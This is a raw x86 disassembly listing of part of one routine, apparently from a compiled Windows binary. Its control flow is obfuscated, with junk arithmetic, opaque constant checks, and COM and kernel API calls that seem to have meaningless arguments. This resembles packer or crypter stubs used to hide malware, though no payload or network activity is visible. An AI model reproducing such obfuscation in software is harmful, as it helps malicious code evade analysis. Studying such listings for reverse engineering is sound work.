sub edx, eax
cmp ecx, edx
jge 0x404d8d
mov ecx, dword [ebp - 0xbd00]
movsx edx, word [ecx]
mov dword [ebp - 0x14c40], edx
cmp dword [ebp - 0x14c40], 0x16c8
je 0x404d65
cmp dword [ebp - 0x14c40], 0x3c18
je 0x404d11
jmp 0x404d8b
lea eax, [ebp - 0x3b89]
push eax
lea ecx, [ebp - 0x126f8]
push ecx
push 0x81
lea edx, [ebp - 0x13718]
push edx
call dword [sym.imp.ole32.dll_BindMoniker]
mov dword [ebp - 0xc698], eax
mov eax, dword [ebp - 0x115a4]
add eax, dword [ebp - 0x96a4]
mov ecx, dword [ebp - 0x8c8c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x9ac4]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x125c9]
sub eax, ecx
mov byte [ebp - 0x3b89], al
jmp 0x404d8b
mov edx, dword [section..data]
push edx
mov eax, dword [ebp - 0x2548]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0xd1e4]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x96a4]
push ecx
call fcn.005116a0
jmp 0x404dd5
mov edx, dword [ebp - 0x2548]
mov ax, word [edx]
mov word [ebp - 0xe6fc], ax
mov ecx, dword [ebp - 0x13718]
add ecx, dword [ebp - 0x71a8]
mov edx, dword [ebp - 0x3e58]
mov dword [edx], ecx
mov eax, dword [ebp - 0x9ac4]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x3b89]
xor ecx, edx
mov byte [0x51b006], cl
lea eax, [ebp - 0x115a4]
mov dword [ebp - 0xf424], eax
jmp 0x404def
mov ecx, dword [ebp - 0xad30]
mov edx, dword [ebp - 0xa850]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x3e58]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4c80]
mov dl, byte [ecx]
mov byte [ebp - 0x14c44], dl
cmp byte [ebp - 0x14c44], 0x80
je 0x404e18
cmp byte [ebp - 0x14c44], 0x24
je 0x404e9e
jmp 0x404f22
mov eax, dword [ebp - 0x8850]
mov dword [ebp - 0x14c48], eax
cmp dword [ebp - 0x14c48], 0x65ba15a2
je 0x404e3e
cmp dword [ebp - 0x14c48], 0xd0775c36
je 0x404e7d
jmp 0x404e99
mov ecx, dword [ebp - 0x3e58]
mov edx, dword [ebp - 0xad30]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x13718], eax
push 0x39
lea ecx, [ebp - 0xdc88]
push ecx
call dword [sym.imp.ole32.dll_CoDisconnectObject]
mov dword [ebp - 0x31bc], eax
movzx edx, byte [ebp - 0xb3c1]
push edx
call fcn.00511710
add esp, 4
jmp 0x404e99
mov eax, dword [ebp - 0x9ac4]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x308c]
movzx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0x4134]
mov byte [edx], cl
jmp 0x404f22
mov eax, dword [ebp - 0x9ac4]
mov cl, byte [eax]
mov byte [ebp - 0x14c4c], cl
cmp byte [ebp - 0x14c4c], 0x22
je 0x404eb7
jmp 0x404f0c
call dword [sym.imp.ole32.dll_CoGetCurrentProcess]
mov dword [ebp - 0x115a4], eax
movzx edx, word [ebp - 0x1814]
mov eax, dword [ebp - 0xd348]
movzx ecx, word [eax]
and edx, ecx
mov word [ebp - 0xd434], dx
mov edx, dword [ebp - 0xf424]
mov eax, dword [edx]
add eax, dword [ebp - 0x115a4]
mov ecx, dword [ebp - 0xd1e4]
mov dword [ecx], eax
call dword [sym.imp.ole32.dll_CoUninitialize]
mov edx, dword [ebp - 0x308c]
movzx eax, byte [edx]
push eax
call fcn.00511710
add esp, 4
jmp 0x404f22
mov ecx, dword [ebp - 0xad30]
mov edx, dword [ebp - 0x13718]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x3e58]
mov dword [eax], edx
mov ecx, dword [ebp - 0xbd00]
mov dx, word [ecx]
mov word [ebp - 0x24c4], dx
movzx eax, word [ebp - 0x119a8]
mov dword [ebp - 0x14c50], eax
cmp dword [ebp - 0x14c50], 0
je 0x404f5d
cmp dword [ebp - 0x14c50], 0x936
je 0x40502a
jmp 0x405061
lea ecx, [ebp - 0x125c9]
mov dword [0x51c7c4], ecx
mov edx, dword [ebp - 0xbd00]
movsx eax, word [edx]
mov dword [ebp - 0x14c54], eax
cmp dword [ebp - 0x14c54], 0x6866
je 0x404f86
jmp 0x404fee
movsx ecx, word [0x51b004]
mov dword [ebp - 0x14c58], ecx
cmp dword [ebp - 0x14c58], 0x141
je 0x404fc5
cmp dword [ebp - 0x14c58], 0x4572
je 0x404fad
jmp 0x404fec
movsx edx, byte [ebp - 0x8bbd]
movsx eax, byte [0x51ce07]
add edx, eax
mov byte [ebp - 0xb7e], dl
jmp 0x404fec
call dword [sym.imp.ole32.dll_CoRevokeMallocSpy]
mov dword [ebp - 0x117d0], eax
movzx ecx, word [ebp - 0x1814]
mov edx, dword [ebp - 0xd348]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x4888]
mov word [edx], cx
jmp 0x40501e
movzx eax, byte [0x51b006]
mov ecx, dword [ebp - 0x4134]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x9ac4]
mov byte [ecx], al
mov edx, dword [ebp - 0xedd4]
mov eax, dword [edx]
sub eax, dword [ebp - 0x96a4]
mov ecx, dword [ebp - 0xedd4]
mov dword [ecx], eax
mov dword [ebp - 0x6c4c], 0xce86
jmp 0x405061
mov edx, dword [ebp - 0xad30]
mov eax, dword [edx]
and eax, dword [section..data]
mov dword [ebp - 0x10df0], eax
movzx ecx, word [ebp - 0x24c4]
push ecx
movzx edx, word [ebp - 0x84e8]
push edx
mov edx, dword [ebp - 0x10df0]
mov eax, dword [ebp - 0x6974]
mov ecx, dword [eax]
call fcn.00511630
mov ecx, dword [ebp - 0x49b0]
movsx edx, word [ecx]
mov eax, dword [ebp - 0xbd00]
movsx ecx, word [eax]
sub edx, ecx
movsx eax, word [ebp - 0x84e8]
movsx ecx, word [ebp - 0x24c4]
xor eax, ecx
cmp edx, eax
jl 0x510bbc
movzx edx, word [ebp - 0xd434]
mov eax, dword [ebp - 0xd348]
movzx ecx, word [eax]
or edx, ecx
movzx eax, word [ebp - 0x119a8]
movzx ecx, word [ebp - 0xe6fc]
sub eax, ecx
cmp edx, eax
jg 0x40514a
movsx edx, word [ebp - 0x84e8]
mov dword [ebp - 0x14c5c], edx
cmp dword [ebp - 0x14c5c], 0
je 0x4050cf
jmp 0x405137
mov eax, dword [ebp - 0x4c80]
mov cl, byte [eax]
mov byte [ebp - 0x14c60], cl
cmp byte [ebp - 0x14c60], 0x29
je 0x4050e8
jmp 0x405135
mov edx, dword [ebp - 0xf424]
mov eax, dword [ebp - 0x115a4]
add eax, dword [edx]
mov dword [ebp - 0x8850], eax
lea ecx, [ebp - 0xb7e]
push ecx
call dword [sym.imp.ole32.dll_CoGetCurrentLogicalThreadId]
mov dword [ebp - 0x117d0], eax
mov edx, dword [ebp - 0xbd00]
movzx eax, word [edx]
push eax
movzx ecx, word [ebp - 0x119a8]
push ecx
mov edx, dword [ebp - 0x49b0]
mov dx, word [edx]
mov ecx, dword [ebp - 0x8850]
call fcn.00511530
jmp 0x40514a
mov eax, dword [section..data]
and eax, dword [ebp - 0x10df0]
mov ecx, dword [ebp - 0x3e58]
mov dword [ecx], eax
movsx edx, word [ebp - 0x24c4]
mov eax, dword [ebp - 0xbd00]
movsx ecx, word [eax]
sub edx, ecx
movsx eax, word [ebp - 0x84e8]
movsx ecx, word [0x51b004]
add eax, ecx
cmp edx, eax
jle 0x405209
lea edx, [ebp - 0xc50c]
push edx
lea eax, [ebp - 0xa260]
push eax
lea ecx, [ebp - 0x2b30]
push ecx
call sub.gdiplus.dll_GdiplusStartup
mov dword [ebp - 0x96a4], eax
mov edx, dword [ebp - 0x6974]
mov eax, dword [edx]
add eax, dword [ebp - 0x13718]
mov dword [ebp - 0x71a8], eax
movzx ecx, word [ebp - 0x119a8]
mov edx, dword [ebp - 0x2548]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x4888]
mov word [edx], cx
mov eax, dword [ebp - 0x21d4]
push eax
mov ecx, dword [ebp - 0x1d64]
push ecx
push 0x93
mov edx, dword [ebp - 0xfccc]
push edx
mov eax, dword [ebp - 0xfccc]
push eax
mov ecx, dword [ebp - 0xfccc]
push ecx
call dword [sym.imp.KERNEL32.dll_SearchPathW]
mov dword [ebp - 0x12a4c], eax
mov edx, dword [ebp - 0x4134]
movzx eax, byte [edx]
push eax
call fcn.00511710
add esp, 4
mov ecx, dword [ebp - 0x308c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x9ac4]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x3b89], dl
mov edx, dword [ebp - 0x1614]
add edx, 0x3a
mov dword [ebp - 0x1614], edx
movsx eax, word [ebp - 0x24c4]
mov ecx, dword [ebp - 0x49b0]
movsx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x84e8], ax
movzx eax, byte [ebp - 0x3b89]
movzx ecx, byte [ebp - 0x125c9]
sub eax, ecx
mov edx, dword [0x51c7c4]
mov byte [edx], al
mov eax, dword [ebp - 0x8c8c]
mov ecx, dword [ebp - 0xd1e4]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x8c8c]
mov dword [eax], edx
mov edx, dword [section..data]
mov ecx, dword [ebp - 0x10df0]
sar edx, cl
mov dword [ebp - 0x13718], edx
movzx eax, word [ebp - 0xd434]
mov ecx, dword [ebp - 0x4888]
movzx ecx, word [ecx]
shl eax, cl
mov edx, dword [ebp - 0xd348]
mov word [edx], ax
movzx eax, byte [ebp - 0x3b89]
movzx ecx, byte [ebp - 0x125c9]
or eax, ecx
mov edx, dword [ebp - 0x4134]
mov byte [edx], al
mov eax, dword [ebp - 0x96a4]
mov dword [ebp - 0x12a4c], eax
mov ecx, dword [ebp - 0xad30]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x71a8]
mov eax, dword [ebp - 0xad30]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3e58]
mov edx, dword [ebp - 0x71a8]
and edx, dword [ecx]
mov dword [ebp - 0x10df0], edx
mov eax, dword [ebp - 0xf424]
mov ecx, dword [ebp - 0x115a4]
sub ecx, dword [eax]
mov edx, dword [ebp - 0xd1e4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4c80]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x121f0]
movsx eax, byte [edx]
sub ecx, eax
mov byte [0x51ce07], cl
movzx ecx, byte [ebp - 0x125c9]
movzx edx, byte [ebp - 0xb3c1]
and ecx, edx
mov byte [ebp - 0x3b89], cl
mov eax, dword [ebp - 0x6974]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xad30]
add ecx, dword [edx]
mov eax, dword [ebp - 0x3e58]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x3e58]
mov edx, dword [ebp - 0x71a8]
sub edx, dword [ecx]
mov eax, dword [ebp - 0xad30]
mov dword [eax], edx
cmp dword [ebp - 0x1614], 0x606e
jb 0x405209
mov ecx, dword [ebp - 0x71a8]
add ecx, dword [ebp - 0x13718]
mov edx, dword [ebp - 0x3e58]
mov eax, dword [ebp - 0x10df0]
add eax, dword [edx]
cmp ecx, eax
jne 0x405459
mov ecx, dword [ebp - 0x8c8c]
mov edx, dword [ecx]
mov dword [ebp - 0xf22c], edx
mov eax, dword [ebp - 0x9ac4]
mov cl, byte [eax]
mov byte [ebp - 0x14c64], cl
cmp byte [ebp - 0x14c64], 0x64
je 0x4053c8
jmp 0x405459
mov edx, dword [ebp - 0xd348]
movzx eax, word [edx]
mov dword [ebp - 0x14c68], eax
cmp dword [ebp - 0x14c68], 0x492
je 0x40543e
cmp dword [ebp - 0x14c68], 0xa56
je 0x4053f1
jmp 0x405459
mov ecx, dword [ebp - 0x3e58]
mov edx, dword [ebp - 0x10df0]
add edx, dword [ecx]
mov eax, dword [ebp - 0xad30]
mov dword [eax], edx
mov ecx, dword [ebp - 0xa850]
xor ecx, dword [ebp - 0x10df0]
mov dword [ebp - 0x71a8], ecx
push 0
lea edx, [ebp - 0x21d4]
push edx
lea eax, [ebp - 0x5800]
push eax
lea ecx, [ebp - 0x9ac4]
push ecx
call dword [sym.imp.ole32.dll_MonikerRelativePathTo]
mov dword [ebp - 0xc698], eax
jmp 0x405459
movsx edx, word [ebp - 0x84e8]
mov eax, dword [ebp - 0xbd00]
movsx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0x49b0]
mov word [eax], dx
mov dword [ebp - 0xbe4c], 0x6bb4
mov ecx, dword [ebp - 0xad30]
mov edx, dword [ebp - 0x3e58]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov edx, dword [ebp - 0x71a8]
mov ecx, dword [ebp - 0x10df0]
sar edx, cl
cmp eax, edx
jle 0x405579
movsx eax, byte [0x51ce07]
movsx ecx, byte [ebp - 0xb7e]
and eax, ecx
mov byte [ebp - 0x8bbd], al
mov edx, dword [ebp - 0x7c88]
push edx
mov eax, dword [ebp - 0x7c88]
push eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov dword [ebp - 0x2d30], eax
movzx ecx, byte [ebp - 0x3b89]
movzx edx, byte [ebp - 0xb3c1]
sub ecx, edx
mov eax, dword [0x51c7c4]
mov byte [eax], cl
mov ecx, dword [ebp - 0x8c8c]
mov edx, dword [ecx]
mov dword [ebp - 0x14c6c], edx
cmp dword [ebp - 0x14c6c], 0xf7c3fbf3
je 0x4054ee
jmp 0x40555e
movzx eax, word [ebp - 0xe6fc]
movzx ecx, word [ebp - 0x1814]
add eax, ecx
mov word [ebp - 0xd434], ax
mov edx, dword [ebp - 0x8c8c]
mov eax, dword [ebp - 0xd1e4]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0xedd4]
mov dword [edx], ecx
push 0xbe
call dword [sym.imp.ole32.dll_CoRevokeClassObject]
mov dword [ebp - 0x7860], eax
mov eax, dword [ebp - 0x6974]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xad30]
add ecx, dword [edx]
mov eax, dword [ebp - 0x3e58]
mov dword [eax], ecx
movzx ecx, byte [ebp - 0xb3c1]
movzx edx, byte [ebp - 0x3b89]
and ecx, edx
mov byte [ebp - 0x125c9], cl
jmp 0x405579
mov eax, dword [ebp - 0x4888]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xd434]
sub ecx, edx
mov eax, dword [ebp - 0xd348]
mov word [eax], cx
cmp dword [ebp - 0x110b0], 0x38c7
jae 0x405839
mov ecx, dword [ebp - 0xd1e4]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x67dc]
mov eax, dword [ebp - 0xf424]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3e58]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x6974]
add edx, dword [eax]
mov ecx, dword [ebp - 0xad30]
mov dword [ecx], edx
mov edx, dword [ebp - 0x13718]
add edx, dword [ebp - 0x10df0]
mov dword [ebp - 0xa850], edx
movsx eax, byte [ebp - 0x8bbd]
mov ecx, dword [ebp - 0x4c80]
movsx edx, byte [ecx]
or eax, edx
mov byte [0x51ce07], al
movzx eax, word [ebp - 0x1814]
mov ecx, dword [ebp - 0x4888]
movzx ecx, word [ecx]
shl eax, cl
mov edx, dword [ebp - 0x2548]
mov word [edx], ax
mov eax, dword [ebp - 0x9ac4]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x4134]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0xb3c1], dl
mov ecx, dword [ebp - 0x3e58]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x71a8]
mov dword [ebp - 0x10df0], edx
mov eax, dword [ebp - 0x6974]
mov ecx, dword [ebp - 0x10df0]
and ecx, dword [eax]
mov edx, dword [ebp - 0x3e58]
mov dword [edx], ecx
movsx eax, byte [ebp - 0x8bbd]
movsx ecx, byte [ebp - 0xb7e]
add eax, ecx
mov edx, dword [ebp - 0x121f0]
mov byte [edx], al
mov eax, dword [ebp - 0x49b0]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x24c4]
add ecx, edx
mov word [ebp - 0x84e8], cx
mov eax, dword [ebp - 0xd348]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xd434]
add ecx, edx
mov word [ebp - 0xe6fc], cx
mov eax, dword [ebp - 0x308c]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x125c9]
sub ecx, edx
mov byte [ebp - 0xb3c1], cl
mov eax, dword [ebp - 0x308c]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x3b89]
sub ecx, edx
mov eax, dword [0x51c7c4]
mov byte [eax], cl
mov ecx, dword [ebp - 0x8c8c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x8850]
mov eax, dword [ebp - 0xf424]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6974]
mov edx, dword [ecx]
add edx, dword [ebp - 0x71a8]
mov dword [ebp - 0x10df0], edx
mov eax, dword [ebp - 0x110b0]
add eax, 0xa1
mov dword [ebp - 0x110b0], eax
mov ecx, dword [ebp - 0xad30]
mov edx, dword [ebp - 0xa850]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x3e58]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6974]
mov edx, dword [ebp - 0xa850]
sub edx, dword [ecx]
mov dword [ebp - 0x71a8], edx
mov eax, dword [ebp - 0x4134]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x308c]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x4134]
mov byte [ecx], dl
mov edx, dword [ebp - 0xd348]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x4888]
movzx edx, word [ecx]
or eax, edx
mov word [ebp - 0x119a8], ax
mov eax, dword [ebp - 0xf424]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x115a4]
shl edx, cl
mov dword [ebp - 0x8850], edx
mov eax, dword [ebp - 0x6974]
mov ecx, dword [ebp - 0x10df0]
xor ecx, dword [eax]
mov edx, dword [ebp - 0xad30]
mov dword [edx], ecx
mov eax, dword [ebp - 0xad30]
mov ecx, dword [section..data]
and ecx, dword [eax]
mov dword [ebp - 0xa850], ecx
mov edx, dword [ebp - 0x308c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9ac4]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [0x51c7c4]
mov byte [ecx], al
mov edx, dword [ebp - 0x4134]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x308c]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0xb3c1], al
mov eax, dword [ebp - 0x2548]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xd434]
add ecx, edx
mov eax, dword [ebp - 0x4888]
mov word [eax], cx
mov ecx, dword [ebp - 0x49b0]
movsx edx, word [ecx]
mov eax, dword [ebp - 0xbd00]
movsx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x49b0]
mov word [eax], dx
movsx ecx, byte [ebp - 0xb7e]
movsx edx, byte [ebp - 0x8bbd]
sub ecx, edx
mov eax, dword [ebp - 0xf26c]
mov byte [eax], cl
mov ecx, dword [ebp - 0xf424]
mov edx, dword [ebp - 0x8c8c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0xedd4]
mov dword [ecx], eax
jmp 0x405579
mov edx, dword [section..data]
and edx, dword [ebp - 0x10df0]
mov eax, dword [ebp - 0x6974]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x13718]
cmp edx, ecx
jl 0x405908
mov edx, dword [ebp - 0xd348]
movzx eax, word [edx]
mov dword [ebp - 0x14c70], eax
cmp dword [ebp - 0x14c70], 0xfc0
je 0x405878
jmp 0x4058a0
mov ecx, dword [ebp - 0xad30]
mov edx, dword [ebp - 0x3e58]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x10df0], eax
push 0x43
call dword [sym.imp.ole32.dll_CoTaskMemAlloc]
mov dword [ebp - 0x10b08], eax
jmp 0x405908
mov ecx, dword [ebp - 0xedd4]
mov edx, dword [ecx]
mov dword [ebp - 0x14c74], edx
cmp dword [ebp - 0x14c74], 0
je 0x4058b9
jmp 0x4058f0
mov eax, dword [ebp - 0x2548]
movzx ecx, word [eax]
mov edx, dword [ebp - 0xd348]
movzx eax, word [edx]
xor ecx, eax
mov word [ebp - 0xd434], cx
lea ecx, [ebp - 0x125c9]
mov dword [ebp - 0x8b68], ecx
mov dx, word [ebp - 0x1814]
mov word [0x51d910], dx
jmp 0x405908
mov eax, dword [ebp - 0x3e58]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x10df0]
sar edx, cl
mov eax, dword [ebp - 0x6974]
mov dword [eax], edx
cmp dword [ebp - 0xbe90], 0x9213
je 0x405d1a
mov ecx, dword [ebp - 0xd1e4]
mov edx, dword [ecx]
or edx, dword [ebp - 0x96a4]
mov eax, dword [ebp - 0xf424]
mov dword [eax], edx
mov ecx, dword [ebp - 0xad30]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x6974]
add edx, dword [eax]
mov ecx, dword [ebp - 0x3e58]
mov dword [ecx], edx
mov edx, dword [ebp - 0xbe90]
add edx, 0x25
mov dword [ebp - 0xbe90], edx
mov eax, dword [ebp - 0x6974]
mov ecx, dword [eax]
and ecx, dword [section..data]
mov edx, dword [ebp - 0xad30]
mov dword [edx], ecx
movzx eax, word [ebp - 0x1814]
mov ecx, dword [ebp - 0x2548]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0xd348]
mov word [ecx], ax
movzx edx, byte [ebp - 0x3b89]
movzx eax, byte [ebp - 0xb3c1]
add edx, eax
mov ecx, dword [ebp - 0x8b68]
mov byte [ecx], dl
mov edx, dword [ebp - 0x8c8c]
mov eax, dword [ebp - 0x8850]
sub eax, dword [edx]
mov dword [ebp - 0x12a4c], eax
mov ecx, dword [ebp - 0x3e58]
mov edx, dword [ebp - 0xad30]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x10df0], eax
movzx ecx, byte [ebp - 0x125c9]
movzx edx, byte [0x51b006]
sub ecx, edx
mov eax, dword [0x51c7c4]
mov byte [eax], cl
mov ecx, dword [ebp - 0x6974]
mov edx, dword [ebp - 0x13718]
sub edx, dword [ecx]
mov dword [ebp - 0x71a8], edx
mov eax, dword [ebp - 0x71a8]
add eax, dword [section..data]
mov ecx, dword [ebp - 0x3e58]
mov dword [ecx], eax
movsx edx, word [ebp - 0x84e8]
mov eax, dword [ebp - 0xbd00]
movsx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x24c4], dx
mov edx, dword [ebp - 0xf26c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x4c80]
movsx ecx, byte [ecx]
sar eax, cl
mov edx, dword [ebp - 0x121f0]
mov byte [edx], al
mov eax, dword [0x51c7c4]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x4134]
movzx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0x308c]
mov byte [edx], cl
movzx eax, word [ebp - 0xd434]
mov ecx, dword [ebp - 0x2548]
movzx ecx, word [ecx]
shl eax, cl
mov edx, dword [ebp - 0xd348]
mov word [edx], ax
mov eax, dword [ebp - 0xf424]
mov ecx, dword [ebp - 0x8c8c]
mov edx, dword [eax]
xor edx, dword [ecx]
mov eax, dword [ebp - 0xedd4]
mov dword [eax], edx
mov ecx, dword [ebp - 0xedd4]
mov edx, dword [ebp - 0x96a4]
add edx, dword [ecx]
mov eax, dword [ebp - 0xf424]
mov dword [eax], edx
mov ecx, dword [ebp - 0x8b68]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x3b89]
sub edx, eax
mov ecx, dword [0x51c7c4]
mov byte [ecx], dl
movzx edx, byte [0x51b006]
movzx eax, byte [ebp - 0x125c9]
and edx, eax
mov byte [ebp - 0x3b89], dl
mov ecx, dword [ebp - 0x71a8]
sub ecx, dword [ebp - 0x10df0]
mov edx, dword [ebp - 0x3e58]
mov dword [edx], ecx
mov eax, dword [ebp - 0xedd4]
mov ecx, dword [ebp - 0x115a4]
sub ecx, dword [eax]
mov edx, dword [ebp - 0xd1e4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6974]
mov ecx, dword [ebp - 0x3e58]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0xad30]
mov dword [eax], edx
mov ecx, dword [ebp - 0xad30]
mov edx, dword [ebp - 0x3e58]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0xa850], eax
mov ecx, dword [ebp - 0x2548]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xe6fc]
add edx, eax
mov ecx, dword [ebp - 0xd348]
mov word [ecx], dx
movzx edx, byte [ebp - 0x125c9]
mov eax, dword [ebp - 0x308c]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x8b68]
mov byte [eax], dl
mov ecx, dword [ebp - 0xf424]
mov edx, dword [ebp - 0x12a4c]
add edx, dword [ecx]
mov dword [ebp - 0x67dc], edx
mov eax, dword [ebp - 0x3e58]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0xa850]
mov dword [section..data], ecx
mov edx, dword [ebp - 0x121f0]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x4c80]
movsx ecx, byte [ecx]
sar eax, cl
mov edx, dword [ebp - 0xf26c]
mov byte [edx], al
movsx eax, word [ebp - 0x24c4]
movsx ecx, word [ebp - 0x84e8]
shl eax, cl
mov ecx, dword [ebp - 0xbd00]
mov word [ecx], ax
mov edx, dword [ebp - 0x2548]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xd434]
or eax, ecx
mov edx, dword [ebp - 0xd348]
mov word [edx], ax
movzx eax, byte [ebp - 0x3b89]
movzx ecx, byte [ebp - 0x125c9]
xor eax, ecx
mov byte [ebp - 0xb3c1], al
mov edx, dword [ebp - 0x8c8c]
mov eax, dword [ebp - 0xf424]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x96a4], ecx
mov edx, dword [ebp - 0xad30]
mov eax, dword [edx]
sub eax, dword [ebp - 0x10df0]
mov dword [ebp - 0x71a8], eax
mov ecx, dword [ebp - 0x3e58]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x71a8]
mov eax, dword [ebp - 0x6974]
mov dword [eax], edx
mov ecx, dword [ebp - 0xf424]
mov edx, dword [ebp - 0xd1e4]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x67dc], eax
mov ecx, dword [ebp - 0x6974]
mov edx, dword [ebp - 0x13718]
add edx, dword [ecx]
mov dword [section..data], edx
mov eax, dword [ebp - 0x4888]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xd434]
sub ecx, edx
mov eax, dword [ebp - 0x2548]
mov word [eax], cx
mov ecx, dword [0x51c7c4]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x8b68]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x4134]
mov byte [eax], dl
mov ecx, dword [ebp - 0x3e58]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x6974]
add edx, dword [eax]
mov dword [ebp - 0x13718], edx
mov ecx, dword [ebp - 0xedd4]
mov edx, dword [ecx]
add edx, dword [ebp - 0x8850]
mov dword [ebp - 0x115a4], edx
mov eax, dword [ebp - 0x6974]
mov ecx, dword [ebp - 0x13718]
or ecx, dword [eax]
mov edx, dword [ebp - 0x3e58]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3e58]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x13718]
mov edx, dword [ebp - 0x6974]
mov dword [edx], ecx
mov eax, dword [ebp - 0xd348]
movzx edx, word [eax]
mov eax, dword [ebp - 0x4888]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x1814], dx
mov ecx, dword [ebp - 0x8b68]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0xb3c1]
shl edx, cl
mov byte [ebp - 0x125c9], dl
jmp 0x405908
mov al, byte [ebp - 0xb3c1]
mov byte [ebp - 0x14c78], al
cmp byte [ebp - 0x14c78], 0
je 0x405d34
jmp 0x405ddf
mov ecx, dword [ebp - 0xedd4]
mov edx, dword [ecx]
mov dword [ebp - 0x14c7c], edx
cmp dword [ebp - 0x14c7c], 0
je 0x405d4d
jmp 0x405db0
movsx eax, byte [ebp - 0xb7e]
mov ecx, dword [ebp - 0x121f0]
movsx edx, byte [ecx]
and eax, edx
mov byte [0x51b007], al
mov eax, dword [ebp - 0x49b0]
mov cx, word [eax]
mov word [ebp - 0xcc5c], cx
mov dl, byte [ebp - 0xb7e]
mov byte [ebp - 0xfc89], dl
mov eax, dword [ebp - 0xd1e4]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x8c8c]
add ecx, dword [edx]
mov dword [ebp - 0x67dc], ecx
mov eax, dword [ebp - 0x6974]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xad30]
add ecx, dword [edx]
mov eax, dword [ebp - 0x6974]
mov dword [eax], ecx
jmp 0x405ddd
lea ecx, [ebp - 0x10df0]
push ecx
lea edx, [ebp - 0x60d0]
push edx
lea eax, [ebp - 0x1814]
push eax
push 0xfc
lea ecx, [ebp - 0x60d0]
push ecx
call dword [sym.imp.ole32.dll_CoInstall]
mov dword [ebp - 0x3cc4], eax
jmp 0x405e1a
mov edx, dword [ebp - 0x2548]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x119a8]
sub eax, ecx
mov word [ebp - 0xd434], ax
